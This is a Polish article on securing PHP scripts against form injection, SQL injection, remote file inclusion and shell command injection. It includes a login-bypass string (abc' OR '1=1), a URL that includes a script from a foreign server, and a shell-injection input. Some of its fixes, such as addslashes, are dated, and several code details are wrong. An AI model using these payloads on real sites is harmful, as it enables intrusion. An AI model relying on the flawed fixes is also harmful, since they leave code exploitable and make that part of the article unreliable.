Bezpieczeństwo w PHP


Pisanie bezpiecznych skryptów

Następnym ważnym zagadnieniem związanym z bezpieczeństwem PHP jest sposób pisania skryptów. Programista powinien stale przewidywać następstwa niezgodnego z oczekiwaniami działania tworzonego kodu. Pisząc kod, nie można skupiać uwagi tylko na widocznych efektach działania skryptów w sprzyjających okolicznościach, ale należy wykonać dokładną analizę rozwoju wypadków w sytuacji awaryjnej, np. gdy nie będzie działała baza MySQL lub gdy w parametrze przekazywanym metodą GET protokołu HTTP zabraknie jednej z przewidzianych wartości.

Pierwszy z typowych błędów polega na braku zabezpieczenia przed potencjalnie niebezpieczną sytuacją, gdy osoby niepowołane mają możliwość zmiany zawartości strony. Prześledźmy to na prostym przykładzie.

Formatowanie wprowadzanych danych

Załóżmy, że na nasza strona internetowa umożliwia użytkownikom zamieszczanie ogłoszeń, których treść wpisywana jest przy użyciu formularza. Po kliknięciu Wyślij wpisana treść jest przekazywana do skryptu tresc_wyslij.php za pomocą tablicy $HTTP_POST_VARS['tresc']. Zadaniem skryptu jest zapisanie treści ogłoszenia w bazie danych oraz wyświetlenie jej jednocześnie na stronie. Jeżeli użytkownik wpisze w formularzu oprócz treści ogłoszenia również instrukcje formatujące HTML:

<b>Moja treść jako jedyna jest pogrubiona i się wyróżnia</b>

to mimo globalnych ustaleń w kwestii wyglądu strony treść wprowadzona przez tego użytkownika będzie wyświetlona pogrubioną czcionką. Jest to przykład banalny i poza uciążliwością i nieoczekiwanym wyglądem strony nie przynosi większych szkód. Ale wystarczy w treści formularza wpisać skrypt PHP lub JavaScript, aby rezultaty działania niezabezpieczonego pliku tresc_wyslij.php miały znacznie poważniejsze konsekwencje.

Jak się ustrzec przed tego typu problemami związanymi z formularzami? Możliwości jest wiele. Najprostsze rozwiązanie to wykorzystanie specjalnych funkcji PHP:

  • htmlspecialchars() - funkcja zapisuje znaki specjalne HTML (np. <) za pomocą odpowiednich symboli, dzięki czemu nie są one interpretowane, lecz wyświetlane jak zwykły tekst strony.
  • strip_tags() - funkcja całkowicie usuwa znaczniki HTML.
W pliku tresc_wyslij.php można więc zastosować następujące konstrukcje:

echo htmlspecialchars(

$HTTP_POST_VARS['tresc']);

echo strip_tags(

$HTTP_POST_VARS['tresc']);

Podobnie należy używać funkcji trim() do usunięcia niedrukowalnych znaków (spacja, tabulacja) na początku i końcu łańcucha:

trim($HTTP_POST_VARS['tresc']);

Komunikacja z bazą danych

Analizując dalej działanie przykładowego skryptu tresc_wyslij.php, zauważamy kolejne, potencjalne problemy nawet w dość typowej sytuacji. Mianowicie jeżeli w formularzu zostanie wpisany tekst zawierający np. cudzysłowy, to próba wstawienia takiej niesformatowanej wartości do bazy danych może zakończyć się w najlepszym razie niepowodzeniem. W najgorszym wypadku, gdy użytkownik formularza świadomie skonstruuje odpowiednią kolejność znaków specjalnych, może nie tylko wstawić do bazy nowe lub obejrzeć istniejące dane, ale również je zniszczyć. To działanie nazywa się włamaniem typu SQL injection.

Aby go uniknąć, należy do połączeń z bazą danych bezwzględnie wykorzystywać konta z odpowiednimi uprawnieniami, tj. możliwie minimalnymi, które wystarczają do wykonania zamierzonych zadań.

Zapisując i odczytując dane z bazy, warto także korzystać z funkcji addslashes() i stripslashes(). Pierwsza z nich dodaje znak \ przed znakami specjalnymi i używa się jej przed wstawieniem danych do bazy. W sytuacji odwrotnej, tj. po pobraniu danych z bazy i przed wyświetleniem ich na ekranie, należy użyć drugiej z wymienionych funkcji, aby usunąć dodane wcześniej znaki \. Przy zapisie pól numerycznych stosuje się natomiast funkcje intval() i doubleval(). Po odczytaniu danych numerycznych z bazy nie trzeba już używać dodatkowych funkcji.

Aby poznać zagrożenia związane z nieautoryzowanym dostępem do bazy danych, prześledźmy przykład. Mamy formularz z polem użytkownik oraz hasło, a niezabezpieczony skrypt logowania ma następującą postać:

<?php

$uzytkownik = $_POST['uzytkownik'];

$haslo = $_POST['haslo'];

$sql = mysql_query("SELECT * FROM uzytkownicy WHERE uzytkownik = '$uzytkownik' AND haslo = '$haslo'");

if (!$sql)

echo "Nie zalogowano";

if (mysql_num_rows($wynik)>0)

echo "Zalogowano";

else

echo "Nie zalogowano";

?>

Gdy w formularzu w pole użytkownik wpisany zostanie ciąg znaków nazwa, natomiast w pole hasło np. ciąg znaków abc' OR '1=1, to zmienna $sql będzie miała wartość:

$sql = mysql_query("SELECT * FROM uzytkownicy WHERE uzytkownik = 'nazwa' AND haslo = 'abc' OR '1=1'");

Ponieważ warunek 1=1 jest spełniony zawsze, a instrukcja OR sprawia, że wystarczy, aby tylko jeden z podanych warunków był spełniony, to liczba rekordów zwrócona z bazy będzie większa od zera i logowanie przebiegnie pomyślnie. To tylko jeden z przykładów, bo jest jeszcze wiele innych możliwości włamań dzięki wyrafinowanej manipulacji znakami. Wobec powyższych przykładów nie trzeba przekonywać o zasadności filtrowania zmiennych zawierających wszelkie dane wpisywane w formularzu. Zwłaszcza w skryptach logowania warto po wykonaniu polecenia SQL sprawdzić, czy otrzymany wynik zapytania odpowiada danym wpisanym w formularzu.

Ogólnie, jeżeli do skryptu przekazywany jest jakikolwiek parametr, który następnie wstawiany jest wewnątrz skryptu do zapytania SQL, to koniecznie należy poddać go weryfikacji, choćby sprawdzić, czy wartość przekazywanego parametru należy do zbioru wartości dopuszczalnych.

Dostęp do kodów źródłowych

Innymi danymi, które należy sprawdzać, a które mogą pochodzić nie tylko z formularzy, są wartości zmiennych określających nazwy plików wykorzystywanych w poleceniach typu include, require, fopen. Zagadnienie to ilustruje przykładowy skrypt.php:

<?php

$zmienna = $_GET['nazwa_skryptu'];

include ($zmienna);

?>

Wykonanie powyższego skryptu spowoduje dołączenie i wykonanie innego skryptu. Jeżeli użytkownik wywoła skrypt z następującą wartością parametru nazwa_skryptu:

http://www.mojadomena.pl/skrypt.php?nazwa_skryptu=http://www.khjsdfklh.pl/wlamanie.php

to w rezultacie wykonany zostanie skrypt znajdujący się na obcym serwerze.

Jednym z efektów takiej operacji może być np. dostęp do kodu źródłowego skryptu. Stanie się tak, jeśli skrypt wlamanie.php będzie zawierał instrukcje wysyłające do przeglądarki zawartość wskazanego pliku, np. za pomocą polecenia show_source(). Jednym ze sposobów zabezpieczenia przed takim atakiem jest sprawdzanie przy użyciu funkcji file_exists(), czy plik znajduje się na właściwym serwerze.

Zdalne uruchamianie programów

Niezabezpieczone skrypty mogą również pozwalać nieuprawnionym osobom na wykonywanie programów na serwerze, np. jeśli przekazany za pośrednictwem zmiennej ciąg znaków zostanie użyty jako parametr polecenia shell_exec(). Jeżeli zamiast spodziewanych wartości przekazany zostanie ciąg poleceń systemu Unix, wyniki działania skryptu mogą być całkiem odmienne od założonych.

$polecenie = shell_exec("cat $_POST['plik']");

Jeżeli zmienna plik zamiast spodziewanej nazwy pliku tekstowego, którego zawartość ma zostać wyświetlona, będzie zawierać pochodzący z formularza ciąg znaków:

plik.txt \ ls -l

to oprócz wyświetlenia na ekranie zawartości podanego pliku otrzymamy listę plików w danym katalogu. Dlatego zanim przekazywanych do skryptu ciągów znaków użyjemy jako parametrów poleceń typu exec(), exec_shell() czy system(), koniecznie musimy je poddać działaniu funkcji escapeshellcmd(), która doda znaki \ przed wszelkimi metaznakami, jak: \, +, ?, [, ], ^, $, (, ), co pozwoli uniknąć opisanych powyżej niebezpiecznych sytuacji.

Za miesiąc w drugiej części artykułu powiemy, jak bezpiecznie ładować pliki na serwer, szyfrować hasła, sterować dostępem do zasobów, korzystać z rozszerzonego raportowania błędów oraz bezpiecznie obsługiwać sesje.


Nie przegap

Zapisz się na newsletter i nie przegap najnowszych artykułów, testów, porad i rankingów: